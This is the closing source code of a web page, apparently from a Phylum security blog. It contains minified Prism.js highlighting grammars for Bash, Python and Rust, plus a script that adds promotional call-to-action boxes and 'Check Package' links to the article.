!function(e){var t="\\b(?:BASH|BASHOPTS|BASH_ALIASES|BASH_ARGC|BASH_ARGV|BASH_CMDS|BASH_COMPLETION_COMPAT_DIR|BASH_LINENO|BASH_REMATCH|BASH_SOURCE|BASH_VERSINFO|BASH_VERSION|COLORTERM|COLUMNS|COMP_WORDBREAKS|DBUS_SESSION_BUS_ADDRESS|DEFAULTS_PATH|DESKTOP_SESSION|DIRSTACK|DISPLAY|EUID|GDMSESSION|GDM_LANG|GNOME_KEYRING_CONTROL|GNOME_KEYRING_PID|GPG_AGENT_INFO|GROUPS|HISTCONTROL|HISTFILE|HISTFILESIZE|HISTSIZE|HOME|HOSTNAME|HOSTTYPE|IFS|INSTANCE|JOB|LANG|LANGUAGE|LC_ADDRESS|LC_ALL|LC_IDENTIFICATION|LC_MEASUREMENT|LC_MONETARY|LC_NAME|LC_NUMERIC|LC_PAPER|LC_TELEPHONE|LC_TIME|LESSCLOSE|LESSOPEN|LINES|LOGNAME|LS_COLORS|MACHTYPE|MAILCHECK|MANDATORY_PATH|NO_AT_BRIDGE|OLDPWD|OPTERR|OPTIND|ORBIT_SOCKETDIR|OSTYPE|PAPERSIZE|PATH|PIPESTATUS|PPID|PS1|PS2|PS3|PS4|PWD|RANDOM|REPLY|SECONDS|SELINUX_INIT|SESSION|SESSIONTYPE|SESSION_MANAGER|SHELL|SHELLOPTS|SHLVL|SSH_AUTH_SOCK|TERM|UID|UPSTART_EVENTS|UPSTART_INSTANCE|UPSTART_JOB|UPSTART_SESSION|USER|WINDOWID|XAUTHORITY|XDG_CONFIG_DIRS|XDG_CURRENT_DESKTOP|XDG_DATA_DIRS|XDG_GREETER_DATA_DIR|XDG_MENU_PREFIX|XDG_RUNTIME_DIR|XDG_SEAT|XDG_SEAT_PATH|XDG_SESSION_DESKTOP|XDG_SESSION_ID|XDG_SESSION_PATH|XDG_SESSION_TYPE|XDG_VTNR|XMODIFIERS)\\b",a={pattern:/(^(["']?)\w+\2)[ \t]+\S.*/,lookbehind:!0,alias:"punctuation",inside:null},n={bash:a,environment:{pattern:RegExp("\\$"+t),alias:"constant"},variable:[{pattern:/\$?\(\([\s\S]+?\)\)/,greedy:!0,inside:{variable:[{pattern:/(^\$\(\([\s\S]+)\)\)/,lookbehind:!0},/^\$\(\(/],number:/\b0x[\dA-Fa-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:[Ee]-?\d+)?/,operator:/--|\+\+|\*\*=?|<<=?|>>=?|&&|\|\||[=!+\-*/%<>^&|]=?|[?~:]/,punctuation:/\(\(?|\)\)?|,|;/}},{pattern:/\$\((?:\([^)]+\)|[^()])+\)|`[^`]+`/,greedy:!0,inside:{variable:/^\$\(|^`|\)$|`$/}},{pattern:/\$\{[^}]+\}/,greedy:!0,inside:{operator:/:[-=?+]?|[!\/]|##?|%%?|\^\^?|,,?/,punctuation:/[\[\]]/,environment:{pattern:RegExp("(\\{)"+t),lookbehind:!0,alias:"constant"}}},/\$(?:\w+|[#?*!@$])/],entity:/\\(?:[abceEfnrtv\\"]|O?[0-7]{1,3}|U[0-9a-fA-F]{8}|u[0-9a-fA-F]{4}|x[0-9a-fA-F]{1,2})/};e.languages.bash={shebang:{pattern:/^#!\s*\/.*/,alias:"important"},comment:{pattern:/(^|[^"{\\$])#.*/,lookbehind:!0},"function-name":[{pattern:/(\bfunction\s+)[\w-]+(?=(?:\s*\(?:\s*\))?\s*\{)/,lookbehind:!0,alias:"function"},{pattern:/\b[\w-]+(?=\s*\(\s*\)\s*\{)/,alias:"function"}],"for-or-select":{pattern:/(\b(?:for|select)\s+)\w+(?=\s+in\s)/,alias:"variable",lookbehind:!0},"assign-left":{pattern:/(^|[\s;|&]|[<>]\()\w+(?:\.\w+)*(?=\+?=)/,inside:{environment:{pattern:RegExp("(^|[\\s;|&]|[<>]\\()"+t),lookbehind:!0,alias:"constant"}},alias:"variable",lookbehind:!0},parameter:{pattern:/(^|\s)-{1,2}(?:\w+:[+-]?)?\w+(?:\.\w+)*(?=[=\s]|$)/,alias:"variable",lookbehind:!0},string:[{pattern:/((?:^|[^<])<<-?\s*)(\w+)\s[\s\S]*?(?:\r?\n|\r)\2/,lookbehind:!0,greedy:!0,inside:n},{pattern:/((?:^|[^<])<<-?\s*)(["'])(\w+)\2\s[\s\S]*?(?:\r?\n|\r)\3/,lookbehind:!0,greedy:!0,inside:{bash:a}},{pattern:/(^|[^\\](?:\\\\)*)"(?:\\[\s\S]|\$\([^)]+\)|\$(?!\()|`[^`]+`|[^"\\`$])*"/,lookbehind:!0,greedy:!0,inside:n},{pattern:/(^|[^$\\])'[^']*'/,lookbehind:!0,greedy:!0},{pattern:/\$'(?:[^'\\]|\\[\s\S])*'/,greedy:!0,inside:{entity:n.entity}}],environment:{pattern:RegExp("\\$?"+t),alias:"constant"},variable:n.variable,function:{pattern:/(^|[\s;|&]|[<>]\()(?:add|apropos|apt|apt-cache|apt-get|aptitude|aspell|automysqlbackup|awk|basename|bash|bc|bconsole|bg|bzip2|cal|cargo|cat|cfdisk|chgrp|chkconfig|chmod|chown|chroot|cksum|clear|cmp|column|comm|composer|cp|cron|crontab|csplit|curl|cut|date|dc|dd|ddrescue|debootstrap|df|diff|diff3|dig|dir|dircolors|dirname|dirs|dmesg|docker|docker-compose|du|egrep|eject|env|ethtool|expand|expect|expr|fdformat|fdisk|fg|fgrep|file|find|fmt|fold|format|free|fsck|ftp|fuser|gawk|git|gparted|grep|groupadd|groupdel|groupmod|groups|grub-mkconfig|gzip|halt|head|hg|history|host|hostname|htop|iconv|id|ifconfig|ifdown|ifup|import|install|ip|java|jobs|join|kill|killall|less|link|ln|locate|logname|logrotate|look|lpc|lpr|lprint|lprintd|lprintq|lprm|ls|lsof|lynx|make|man|mc|mdadm|mkconfig|mkdir|mke2fs|mkfifo|mkfs|mkisofs|mknod|mkswap|mmv|more|most|mount|mtools|mtr|mutt|mv|nano|nc|netstat|nice|nl|node|nohup|notify-send|npm|nslookup|op|open|parted|passwd|paste|pathchk|ping|pkill|pnpm|podman|podman-compose|popd|pr|printcap|printenv|ps|pushd|pv|quota|quotacheck|quotactl|ram|rar|rcp|reboot|remsync|rename|renice|rev|rm|rmdir|rpm|rsync|scp|screen|sdiff|sed|sendmail|seq|service|sftp|sh|shellcheck|shuf|shutdown|sleep|slocate|sort|split|ssh|stat|strace|su|sudo|sum|suspend|swapon|sync|sysctl|tac|tail|tar|tee|time|timeout|top|touch|tr|traceroute|tsort|tty|umount|uname|unexpand|uniq|units|unrar|unshar|unzip|update-grub|uptime|useradd|userdel|usermod|users|uudecode|uuencode|v|vcpkg|vdir|vi|vim|virsh|vmstat|wait|watch|wc|wget|whereis|which|who|whoami|write|xargs|xdg-open|yarn|yes|zenity|zip|zsh|zypper)(?=$|[)\s;|&])/,lookbehind:!0},keyword:{pattern:/(^|[\s;|&]|[<>]\()(?:case|do|done|elif|else|esac|fi|for|function|if|in|select|then|until|while)(?=$|[)\s;|&])/,lookbehind:!0},builtin:{pattern:/(^|[\s;|&]|[<>]\()(?:\.|:|alias|bind|break|builtin|caller|cd|command|continue|declare|echo|enable|eval|exec|exit|export|getopts|hash|help|let|local|logout|mapfile|printf|pwd|read|readarray|readonly|return|set|shift|shopt|source|test|times|trap|type|typeset|ulimit|umask|unalias|unset)(?=$|[)\s;|&])/,lookbehind:!0,alias:"class-name"},boolean:{pattern:/(^|[\s;|&]|[<>]\()(?:false|true)(?=$|[)\s;|&])/,lookbehind:!0},"file-descriptor":{pattern:/\B&\d\b/,alias:"important"},operator:{pattern:/\d?<>|>\||\+=|=[=~]?|!=?|<<[<-]?|[&\d]?>>|\d[<>]&?|[<>][&=]?|&[>&]?|\|[&|]?/,inside:{"file-descriptor":{pattern:/^\d/,alias:"important"}}},punctuation:/\$?\(\(?|\)\)?|\.\.|[{}[\];\\]/,number:{pattern:/(^|\s)(?:[1-9]\d*|0)(?:[.,]\d+)?\b/,lookbehind:!0}},a.inside=e.languages.bash;for(var s=["comment","function-name","for-or-select","assign-left","parameter","string","environment","function","keyword","builtin","boolean","file-descriptor","operator","punctuation","number"],o=n.variable[1].inside,i=0;i<s.length;i++)o[s[i]]=e.languages.bash[s[i]];e.languages.sh=e.languages.bash,e.languages.shell=e.languages.bash}(Prism);
Prism.languages.python={comment:{pattern:/(^|[^\\])#.*/,lookbehind:!0,greedy:!0},"string-interpolation":{pattern:/(?:f|fr|rf)(?:("""|''')[\s\S]*?\1|("|')(?:\\.|(?!\2)[^\\\r\n])*\2)/i,greedy:!0,inside:{interpolation:{pattern:/((?:^|[^{])(?:\{\{)*)\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}]|\{(?!\{)(?:[^{}])+\})+\})+\}/,lookbehind:!0,inside:{"format-spec":{pattern:/(:)[^:(){}]+(?=\}$)/,lookbehind:!0},"conversion-option":{pattern:/![sra](?=[:}]$)/,alias:"punctuation"},rest:null}},string:/[\s\S]+/}},"triple-quoted-string":{pattern:/(?:[rub]|br|rb)?("""|''')[\s\S]*?\1/i,greedy:!0,alias:"string"},string:{pattern:/(?:[rub]|br|rb)?("|')(?:\\.|(?!\1)[^\\\r\n])*\1/i,greedy:!0},function:{pattern:/((?:^|\s)def[ \t]+)[a-zA-Z_]\w*(?=\s*\()/g,lookbehind:!0},"class-name":{pattern:/(\bclass\s+)\w+/i,lookbehind:!0},decorator:{pattern:/(^[\t ]*)@\w+(?:\.\w+)*/m,lookbehind:!0,alias:["annotation","punctuation"],inside:{punctuation:/\./}},keyword:/\b(?:_(?=\s*:)|and|as|assert|async|await|break|case|class|continue|def|del|elif|else|except|exec|finally|for|from|global|if|import|in|is|lambda|match|nonlocal|not|or|pass|print|raise|return|try|while|with|yield)\b/,builtin:/\b(?:__import__|abs|all|any|apply|ascii|basestring|bin|bool|buffer|bytearray|bytes|callable|chr|classmethod|cmp|coerce|compile|complex|delattr|dict|dir|divmod|enumerate|eval|execfile|file|filter|float|format|frozenset|getattr|globals|hasattr|hash|help|hex|id|input|int|intern|isinstance|issubclass|iter|len|list|locals|long|map|max|memoryview|min|next|object|oct|open|ord|pow|property|range|raw_input|reduce|reload|repr|reversed|round|set|setattr|slice|sorted|staticmethod|str|sum|super|tuple|type|unichr|unicode|vars|xrange|zip)\b/,boolean:/\b(?:False|None|True)\b/,number:/\b0(?:b(?:_?[01])+|o(?:_?[0-7])+|x(?:_?[a-f0-9])+)\b|(?:\b\d+(?:_\d+)*(?:\.(?:\d+(?:_\d+)*)?)?|\B\.\d+(?:_\d+)*)(?:e[+-]?\d+(?:_\d+)*)?j?(?!\w)/i,operator:/[-+%=]=?|!=|:=|\*\*?=?|\/\/?=?|<[<=>]?|>[=>]?|[&|^~]/,punctuation:/[{}[\];(),.:]/},Prism.languages.python["string-interpolation"].inside.interpolation.inside.rest=Prism.languages.python,Prism.languages.py=Prism.languages.python;
!function(e){for(var a="/\\*(?:[^*/]|\\*(?!/)|/(?!\\*)|<self>)*\\*/",t=0;t<2;t++)a=a.replace(/<self>/g,(function(){return a}));a=a.replace(/<self>/g,(function(){return"[^\\s\\S]"})),e.languages.rust={comment:[{pattern:RegExp("(^|[^\\\\])"+a),lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/b?"(?:\\[\s\S]|[^\\"])*"|b?r(#*)"(?:[^"]|"(?!\1))*"\1/,greedy:!0},char:{pattern:/b?'(?:\\(?:x[0-7][\da-fA-F]|u\{(?:[\da-fA-F]_*){1,6}\}|.)|[^\\\r\n\t'])'/,greedy:!0},attribute:{pattern:/#!?\[(?:[^\[\]"]|"(?:\\[\s\S]|[^\\"])*")*\]/,greedy:!0,alias:"attr-name",inside:{string:null}},"closure-params":{pattern:/([=(,:]\s*|\bmove\s*)\|[^|]*\||\|[^|]*\|(?=\s*(?:\{|->))/,lookbehind:!0,greedy:!0,inside:{"closure-punctuation":{pattern:/^\||\|$/,alias:"punctuation"},rest:null}},"lifetime-annotation":{pattern:/'\w+/,alias:"symbol"},"fragment-specifier":{pattern:/(\$\w+:)[a-z]+/,lookbehind:!0,alias:"punctuation"},variable:/\$\w+/,"function-definition":{pattern:/(\bfn\s+)\w+/,lookbehind:!0,alias:"function"},"type-definition":{pattern:/(\b(?:enum|struct|trait|type|union)\s+)\w+/,lookbehind:!0,alias:"class-name"},"module-declaration":[{pattern:/(\b(?:crate|mod)\s+)[a-z][a-z_\d]*/,lookbehind:!0,alias:"namespace"},{pattern:/(\b(?:crate|self|super)\s*)::\s*[a-z][a-z_\d]*\b(?:\s*::(?:\s*[a-z][a-z_\d]*\s*::)*)?/,lookbehind:!0,alias:"namespace",inside:{punctuation:/::/}}],keyword:[/\b(?:Self|abstract|as|async|await|become|box|break|const|continue|crate|do|dyn|else|enum|extern|final|fn|for|if|impl|in|let|loop|macro|match|mod|move|mut|override|priv|pub|ref|return|self|static|struct|super|trait|try|type|typeof|union|unsafe|unsized|use|virtual|where|while|yield)\b/,/\b(?:bool|char|f(?:32|64)|[ui](?:8|16|32|64|128|size)|str)\b/],function:/\b[a-z_]\w*(?=\s*(?:::\s*<|\())/,macro:{pattern:/\b\w+!/,alias:"property"},constant:/\b[A-Z_][A-Z_\d]+\b/,"class-name":/\b[A-Z]\w*\b/,namespace:{pattern:/(?:\b[a-z][a-z_\d]*\s*::\s*)*\b[a-z][a-z_\d]*\s*::(?!\s*<)/,inside:{punctuation:/::/}},number:/\b(?:0x[\dA-Fa-f](?:_?[\dA-Fa-f])*|0o[0-7](?:_?[0-7])*|0b[01](?:_?[01])*|(?:(?:\d(?:_?\d)*)?\.)?\d(?:_?\d)*(?:[Ee][+-]?\d+)?)(?:_?(?:f32|f64|[iu](?:8|16|32|64|size)?))?\b/,boolean:/\b(?:false|true)\b/,punctuation:/->|\.\.=|\.{1,3}|::|[{}[\];(),:]/,operator:/[-+*\/%!^]=?|=[=>]?|&[&=]?|\|[|=]?|<<?=?|>>?=?|[@?]/},e.languages.rust["closure-params"].inside.rest=e.languages.rust,e.languages.rust.attribute.inside.string=e.languages.rust.string}(Prism);
</script>
<script>

    // The GitHub logo
    const githubLogoSvg = `<svg style="margin-top: 2px; margin-bottom: -2px;" height="1em" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="1em" data-view-component="true" class="octicon octicon-mark-github v-align-middle">
    <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path>
</svg>`;

    // The types of CTAs we can have
    CTAS = {
    	'cta': {
        'text': `Protect yourself from software supply chain attacks`,
      	'button': `${githubLogoSvg}  Free Github App`,
        'link': 'https://github.com/marketplace/phylum-io',
      },
    	'github': {
        'text': `Protect yourself from software supply chain attacks`,
      	'button': `${githubLogoSvg} Install Phylum`,
        'link': 'https://github.com/marketplace/phylum-io',
      },
      'bookmeeting': {
        'text': `Find out how Phylum can help mature your AppSec program`,
      	'button': `Book Meeting`,
        'link': 'https://www.phylum.io/contact-us',
      },
    };
    
    /**
     * Determine if the element is in view for the user.
     */
    isElementInViewport = (el) => {
        // Special bonus for those using jQuery
        if (typeof jQuery === "function" && el instanceof jQuery) {
            el = el[0];
        }

        var rect = el.getBoundingClientRect();

        return (
            rect.top >= 0 &&
            rect.left >= 0 &&
            rect.bottom <= (window.innerHeight || document.documentElement.clientHeight) && /* or $(window).height() */
            rect.right <= (window.innerWidth || document.documentElement.clientWidth) /* or $(window).width() */
        );
    }
    
    /**
     * Find all links to packages on Phylum and replace them with a "check package" button.
     */
    check_package_links = (data) => {
    	const regex = /<a href=['"]https:\/\/app.phylum.io\/package\/(?<eco>.*?)?\/(?<name>.*?)?\/(?<version>[0-9\.\-]+)(.*?)['"]>(.*?)<\/a>/dgi;
    	return data.replace(regex,  '<code>$2</code> <a href="https://app.phylum.io/package/$1/$2/$3" target="_blank" class="check-package">⚠️ Check Package</a>');
	}
    
    /**
     * Convert the text in the article to a CTA box.
     */
    add_cta = (data) => {
      // For each potential CTA, see if we see the relevant tag
      for (const [ctaType, cta] of Object.entries(CTAS)) { 
        const re = new RegExp("--( ?)"+ctaType+"( ?)--");
        if (re.test(data)) {
      	    data = data.replace(re, `<div class="cta">
                                      <div class="item left">
                                        <div class="typewriter-container">
                                            <div id="cta-text">${cta.text}</div>
                                        </div>
                                      </div>
                                      <div class="item right">
                                            <a href="${cta.link}" target="_blank" id="gh-cta-btn">${cta.button}</a>
                                      </div>
                                    </div>`);
        }
      }
      
      return data;
    }
    
    // Have we triggered the CTA yet?
    let ctaTriggered = false;
  
    /**
     * Adds the style to the element to trigger the typing effect.
     */
    trigger_cta_animation = () => {
        const ctaBox = document.getElementById("cta-text");
        if(isElementInViewport(ctaBox)) {
            ctaBox.classList.add("typed-out");
            ctaTriggered = true;
        }
    }
    
    onload = (event) => {
        // Check on load just in case the element is already in the viewport.
        trigger_cta_animation();
        
        // Otherwise, check after every scroll.
        onscroll = (event) => { 
            if(!ctaTriggered) {
            	trigger_cta_animation();
            }
        };
    
        document.getElementById('gh-cta-btn').onclick = function() {
            gtag('event', 'github_cta_clicked', {});
        }
    };
    
    let data = document.getElementsByTagName('article')[0].innerHTML;
    data = add_cta(data);
    data = check_package_links(data);
	document.getElementsByTagName('article')[0].innerHTML = data;
</script>

</body>
</html>
